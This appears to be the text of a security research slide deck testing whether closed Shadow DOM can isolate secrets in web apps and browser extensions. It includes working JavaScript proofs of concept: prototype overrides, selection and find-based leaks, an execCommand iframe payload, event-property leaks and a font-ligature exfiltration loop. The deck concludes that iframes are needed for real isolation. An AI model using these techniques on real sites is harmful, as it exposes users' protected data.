recent years • Some apps are starting to use it as a security boundary • But can this boundary really be trusted? • How can security researchers go about attacking it? I'll share the know-how I gained by actually attacking real-world apps that use Shadow DOM!
• Not a security feature • Allows creation of encapsulated DOM within the normal DOM(light DOM) • Scoped CSS • Restricted DOM access Displayed as #shadow-root in DevTools
<span> that wraps "Light" Access to the inside of a shadow DOM is restricted unless you intentionally use methods to penetrate it Independent components make development easier!
document.createElement('div'); sHost.style ="border:dotted red 2px;"; sRoot = sHost.attachShadow({mode: "open"}); sRoot.innerHTML = '<span>Shadow</span> DOM'; document.body.appendChild(sHost); </script> Element.attachShadow attaches a shadow DOM to the element: attachShadow returns a shadow root reference
2px;"> <template shadowrootmode="open"> <span>Shadow</span> DOM </template> </div> Possible with Declarative Shadow DOM: This creates the same Shadow DOM as in the previous page
the inside of the shadow DOM becomes difficult The shadowRoot property becomes null: sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); console.log(sRoot);// #shadow-root (closed) console.log(sHost.shadowRoot);// null
shadow DOM with "closed" always block access...? • There are real-world attempts to use this as a sec boundary in practice: • Part of Salesforce Lightning Web Security (LWS) • LavaDome • Custom UI injected by browser extensions into web pages LWS: https://developer.salesforce.com/docs/platform/lightning-components-security/guide/lws-architecture.html LavaDome: https://github.com/LavaMoat/LavaDome Let’s actually test it out
that should be access-restricted • Can that something be accessed via JavaScript, CSS, or other means? sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); sRoot.innerHTML = 'SECRET'; document.body.appendChild(sHost);
DOM = game over sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); // Created as "open" sRoot.innerHTML = 'SECRET'; document.body.appendChild(sHost); // Attacker executes first // Rewrite to always attach in "open" mode Element.prototype.originalAttachShadow = Element.prototype.attachShadow; Element.prototype.attachShadow = function(arg){ return this.originalAttachShadow({"mode":"open"}); }
is created, if an attacker can interfere with the JavaScript that accesses internal elements (e.g. by overwriting prototypes ) = game over sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); sRoot.innerHTML = `<span onclick="this.textContent='SECRET'">Click here & show secret</span>`; document.body.appendChild(sHost); // Attacker rewrites textContent setter Object.defineProperty(HTMLElement.prototype,"textContent",{set:function(){ console.log(this);// When clicked, return a reference to <span> placed in Shadow }}); Encapsulation ≠ Execution context isolation
// Attacker executes win = window.open('/page-using-shadow-dom','_blank') win.Element.prototype.attachShadow = function(){ //... } e.g. An attacker might open a new window and overwrite the prototype before anything else: It should be understood that Shadow DOM alone cannot serve as a security boundary on normal websites
only real option is to run the app inside a custom, restricted JS execution environment... (so called sandbox) • In fact, Salesforce’s Lightning Web Security (LWS) implements its own sandbox • The entire app runs inside this restricted JS environment • For example, even if an attacker calls window.open() here, the method has already been replaced with safe one • (BTW, Shadow DOM is used to limit access between components. Note that LWS is not solely intended to prevent Shadow DOM breakouts) • Unless the sandbox is bypassed, unrestricted access is not possible It seemed easy at first...(´;ω;`)
called distortion): https://developer.salesforce.com/docs/component-library/tools/lws-distortion-viewer Getting heavy... (No more sandbox talk after this)
Shadow DOM directly from Content Scripts • Since Content Scripts run in Isolated World, separated from the page's execution env, prototype overrides do not apply • That said, if the Shadow DOM is created by injecting JavaScript into the page context from the extension, those prototypes can be overridden • Inline scripts added from CS are also affected (see "Obvious attack vector 2" page) Prototype overwritten in the page context is not reflected in CS context: So then, can it be used safely from Content Scripts...? Switch to the extension context
in an env where prototype overrides don’t apply • Create Shadow DOM with "closed" • Discard return value of attachShadow Let's test how reliable the Shadow Boundary actually is
on the entire page: window.onclick = function(event){ console.log(event.target); } Click somewhere inside a Shadow: Instead of the clicked elem, the shadow host is returned (= The "target" property hides the actual inner element) then The goal is to find cases where this behavior fails
access to the current text selection • getSelection().anchorNode (or focusNode) can expose Shadow DOM nodes Found by arxenix: https://blog.ankursundara.com/shadow-dom/ // Search & select the specified string window.find('This is a secret:'); node = getSelection().anchorNode;//or focusNode root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } Becomes selected when find() is executed:
is a secret: '; chars = 'abcdef'; secretLength = 8; while (result.length !== secretLength) { for (i = 0; i < chars.length; i++) { char = chars[i]; // find() returns true if the specified string is found if (window.find(`${prefix}${char}`, false, false, true)) { result.push(char); prefix += char; } } } alert(result.join('')); No node-level access, but the text was still readable (confirmed with this code in Chrome)
converted to a string, it returns the selected text Found by arxenix: https://blog.ankursundara.com/shadow-dom/ window.find('This is a secret:'); document.execCommand('selectAll');//Maximize the selection range alert(getSelection()+""); The selection ranges were different in Firefox & Chrome, but the text was readable in both:
Allows various operations by passing a command name as the first argument • The insertHTML command inserts the specified HTML into the currently focused editable element Found by arxenix: https://blog.ankursundara.com/shadow-dom/ window.find('contenteditable area'); document.execCommand('insertHTML',false, '<iframe onload=alert(getRootNode().querySelector("#secret").textContent)>'); In both Chrome & Firefox, HTML was inserted into the Shadow: See also: Interesting technique by Slonser using ServiceWorker and -webkit-user-modify: https://extensions.neplox.security/Attacks/Shadow/
Event.prototype • Return the node of the selected portion, following slightly different rules from the "target" property window.onmousemove = function(event){ elem = event.originalTarget;// or explicitOriginalTarget root = elem.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } When the mouse cursor was moved into the Shadow, a node inside it was returned:
DataTransfer.prototype • Returns the node located at the start point of the drag window.ondrag = function(event){ node = event.dataTransfer.mozSourceNode; root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } Dragging any text from within the Shadow exposed the internal node: Found MDN page on Web Archive (not on current MDN): https://web.archive.org/web/20221004005258/https://developer.mozilla.org/en- US/docs/Web/API/DataTransfer/mozSourceNode
returns the range of text currently targeted by input window.onbeforeinput = (event) => { targetRanges = event.getTargetRanges(); node = targetRanges[0].endContainer;// or startContainer root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } }; After running the following, typing into the editable area in the Shadow DOM allowed access to the internal node: Confirmed to work in Chrome, Firefox, and Safari
even when added via Content Scripts • Shadow boundaries are fragile • Overwriting prototypes isn’t even necessary • Encapsulation mode doesn't matter either
pass from Light into Shadow • Unless inherited properties are explicitly overridden on the Shadow side • e.g. Leaking text via inherited font styles that use ligatures • Attribute value leaks are likely difficult • Except for cases like <input type="text">, where fonts can be applied to the value Ligature-based CSS leak by Michał Bentkowski: https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/
secret: "; let index = 0; let foundChars = ""; const style = document.createElement('style'); document.body.appendChild(style); style.innerHTML = "#shost {font-family:hack;font-size:300px;}"; const defaultWidth = document.body.scrollWidth; const loadFont = target => { const font = new FontFace("hack", `url(http://localhost:3000/?target=${encodeURIComponent(target)})`); font.load().then(() => { document.fonts.add(font); if (defaultWidth < document.body.scrollWidth) { foundChars += secretChars[index]; console.log(`Found: ${foundChars}`); index = 0; } else { index++; } if (foundChars.length === 8) { alert(foundChars); } else { loadFont(`${prefix}${foundChars}${secretChars[index]}`); } }); }; loadFont(`${prefix}${secretChars[index]}`); ❶ Convert strings like "This is a secret: a" "This is a secret: b" "This is a secret: c"... into single characters using a custom wide-ligature font. Apply them one by one. ❷ If the scroll width increases, it means the wide ligature was applied → the corresponding string exists in the Shadow DOM. ❸ Once a match is found, repeat the process for the next character. What this does: Ligature-Based Leak Example Note: All of this is possible with just CSS (Refer to the previous article by Michał)
Selects the shadow host if the selector given as an argument matches the shadow host or one of its ancestor elements So, attributes of the shadow host or its ancestors can still be leaked from inside Shadow ancestor ancestor shadow host Leaking multiple strings in practice (by Pepe Vila): https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf
= sHost.attachShadow({ mode: "closed" }); sRoot.innerHTML = `<iframe name="ifr" src="//trusted.example.com/"></iframe>`; document.body.appendChild(sHost); window.length// 0 window.open('//attacker-host.test/','ifr'); // Shadow DOM iframe URL gets replaced Not counted in window.length, but if it has a name attr, navigation from Light still occurs: Looks like it's still not fully sorted out: "Shadow DOM and <iframe> · Issue #763 · whatwg/html" https://github.com/whatwg/html/issues/763
doesn’t run in a separate process • If the renderer is compromised, it's game over • Other event listeners • A CSP violation triggered within Shadow can result in a URL leak There still seems to be more to uncover
quite unrealistic • Additional work is always required to patch bypasses • It’s hard to clearly understand where the boundary begins and ends • Since it's not a security feature by design, vendors aren’t obligated to support it as one • APIs that fail to encapsulate are treated as normal bugs, not sec bugs • At present, <iframe> remains the right choice for isolated embeds • It benefits from well-defined security boundaries like SOP, Site Isolation, and the sandbox attribute